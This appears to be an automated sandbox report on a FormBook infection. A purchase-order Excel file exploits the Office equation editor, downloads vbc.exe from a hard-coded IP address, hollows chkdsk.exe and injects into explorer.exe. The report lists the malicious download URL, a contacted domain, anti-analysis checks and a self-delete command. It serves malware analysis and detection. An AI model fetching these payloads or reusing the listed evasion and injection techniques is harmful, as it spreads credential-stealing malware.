Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D01A4 push 28D37A0Fh; iretd 2_2_035D01B1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D0126 push 28D37A0Fh; iretd 2_2_035D01B1
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F22445 push ecx; ret 5_2_00F22458
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_004172EC push DC386EC8h; ret 6_2_00417309
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0040FCF7 push ebp; ret 6_2_0040FCF8
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041D662 push eax; ret 6_2_0041D668
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041D66B push eax; ret 6_2_0041D6D2
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041D615 push eax; ret 6_2_0041D668
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041D6CC push eax; ret 6_2_0041D6D2
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00F22445 push ecx; ret 6_2_00F22458
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0239DFA1 push ecx; ret 8_2_0239DFB4
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000A72EC push DC386EC8h; ret 8_2_000A7309
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AD615 push eax; ret 8_2_000AD668
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AD66B push eax; ret 8_2_000AD6D2
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AD662 push eax; ret 8_2_000AD668
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AD6CC push eax; ret 8_2_000AD6D2
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0009FCF7 push ebp; ret 8_2_0009FCF8
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\bmexo.exe Jump to dropped file
Contains functionality to download and launch executables
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D050B URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035D050B
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file

Boot Survival
barindex
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F21890 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 5_2_00F21890
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe RDTSC instruction interceptor: First address: 0000000000408C04 second address: 0000000000408C0A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe RDTSC instruction interceptor: First address: 0000000000408F9E second address: 0000000000408FA4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\chkdsk.exe RDTSC instruction interceptor: First address: 0000000000098C04 second address: 0000000000098C0A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\chkdsk.exe RDTSC instruction interceptor: First address: 0000000000098F9E second address: 0000000000098FA4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1320 Thread sleep time: -480000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\chkdsk.exe Last function: Thread delayed
Found evasive API chain (may stop execution after checking a module file name)
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00408ED0 rdtsc 6_2_00408ED0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405D7A CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405D7A
Source: C:\Users\Public\vbc.exe Code function: 4_2_004069A4 FindFirstFileW,FindClose, 4_2_004069A4
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Users\Public\vbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe API call chain: ExitProcess graph end node
Source: explorer.exe, 00000007.00000000.1002012184.00000000043F0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000007.00000000.994421316.000000000869E000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000e
Source: explorer.exe, 00000007.00000000.994421316.000000000869E000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: vbc.exe, 00000004.00000002.987724559.00000000002AF000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: explorer.exe, 00000007.00000000.1034386831.000000000037B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.08tp
Source: explorer.exe, 00000007.00000000.989955788.0000000004423000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.1041586211.000000000434F000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0Q
Source: explorer.exe, 00000007.00000000.1002012184.00000000043F0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: v6nel\5&35c44269e\cdromnvmware_sata_
Source: explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}(
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F27A95 IsDebuggerPresent, 5_2_00F27A95
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F2558A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 5_2_00F2558A
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F286ED __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock, 5_2_00F286ED
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00408ED0 rdtsc 6_2_00408ED0
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D0591 mov edx, dword ptr fs:[00000030h] 2_2_035D0591
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_001603F8 mov eax, dword ptr fs:[00000030h] 5_2_001603F8
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_0016061D mov eax, dword ptr fs:[00000030h] 5_2_0016061D
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_001606F7 mov eax, dword ptr fs:[00000030h] 5_2_001606F7
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00160736 mov eax, dword ptr fs:[00000030h] 5_2_00160736
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00160772 mov eax, dword ptr fs:[00000030h] 5_2_00160772
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009B26F8 mov eax, dword ptr fs:[00000030h] 6_2_009B26F8
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_02380080 mov ecx, dword ptr fs:[00000030h] 8_2_02380080
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023800EA mov eax, dword ptr fs:[00000030h] 8_2_023800EA
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023A26F8 mov eax, dword ptr fs:[00000030h] 8_2_023A26F8
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0040A140 LdrLoadDll, 6_2_0040A140
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F243CC SetUnhandledExceptionFilter,UnhandledExceptionFilter, 5_2_00F243CC
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F2439B SetUnhandledExceptionFilter, 5_2_00F2439B
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00F243CC SetUnhandledExceptionFilter,UnhandledExceptionFilter, 6_2_00F243CC
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00F2439B SetUnhandledExceptionFilter, 6_2_00F2439B

HIPS / PFW / Operating System Protection Evasion
barindex
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Section unmapped: C:\Windows\SysWOW64\chkdsk.exe base address: 80000 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Section loaded: unknown target: C:\Windows\SysWOW64\chkdsk.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Section loaded: unknown target: C:\Windows\SysWOW64\chkdsk.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Memory written: C:\Users\user\AppData\Local\Temp\bmexo.exe base: 400000 value starts with: 4D5A Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Thread register set: target process: 1860 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Thread register set: target process: 1860 Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe Thread register set: target process: 1860 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\bmexo.exe" Jump to behavior
Source: explorer.exe, 00000007.00000000.1034648528.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.997360427.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.1009986112.0000000000830000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000007.00000000.1034648528.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000007.00000000.1034648528.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.997360427.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.1009986112.0000000000830000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager<
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F23283 cpuid 5_2_00F23283
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F23EC8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 5_2_00F23EC8
Source: C:\Users\Public\vbc.exe Code function: 4_2_00403646 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_00403646

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 626175 Sample: BON DE COMMANDE POUR CHENOU... Startdate: 13/05/2022 Architecture: WINDOWS Score: 100 45 Multi AV Scanner detection for domain / URL 2->45 47 Found malware configuration 2->47 49 Malicious sample detected (through community Yara rule) 2->49 51 11 other signatures 2->51 11 EQNEDT32.EXE 12 2->11         started        16 EXCEL.EXE 34 26 2->16         started        process3 dnsIp4 43 103.156.91.153, 49171, 80 TWIDC-AS-APTWIDCLimitedHK unknown 11->43 37 C:\Users\user\AppData\Local\...\vbc[1].exe, PE32 11->37 dropped 39 C:\Users\Public\vbc.exe, PE32 11->39 dropped 69 Office equation editor establishes network connection 11->69 71 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 11->71 18 vbc.exe 19 11->18         started        41 ~$BON DE COMMANDE POUR CHENOUFI AEK.xlsx, data 16->41 dropped file5 signatures6 process7 file8 35 C:\Users\user\AppData\Local\Temp\bmexo.exe, PE32 18->35 dropped 53 Machine Learning detection for dropped file 18->53 22 bmexo.exe 18->22         started        signatures9 process10 signatures11 55 Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors) 22->55 57 Tries to detect virtualization through RDTSC time measurements 22->57 59 Injects a PE file into a foreign processes 22->59 25 bmexo.exe 22->25         started        process12 signatures13 61 Modifies the context of a thread in another process (thread injection) 25->61 63 Maps a DLL or memory area into another process 25->63 65 Sample uses process hollowing technique 25->65 67 Queues an APC in another process (thread injection) 25->67 28 explorer.exe 25->28 injected process14 process15 30 chkdsk.exe 28->30         started        signatures16 73 Modifies the context of a thread in another process (thread injection) 30->73 75 Maps a DLL or memory area into another process 30->75 77 Tries to detect virtualization through RDTSC time measurements 30->77 33 cmd.exe 30->33         started        process17
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
103.156.91.153
 unknown unknown
134687 TWIDC-AS-APTWIDCLimitedHK true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://103.156.91.153/fdcloudfiles/vbc.exe true
  • 11%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
www.freerenoadvice.com/ud5f/ true
  • Avira URL Cloud: malware
 low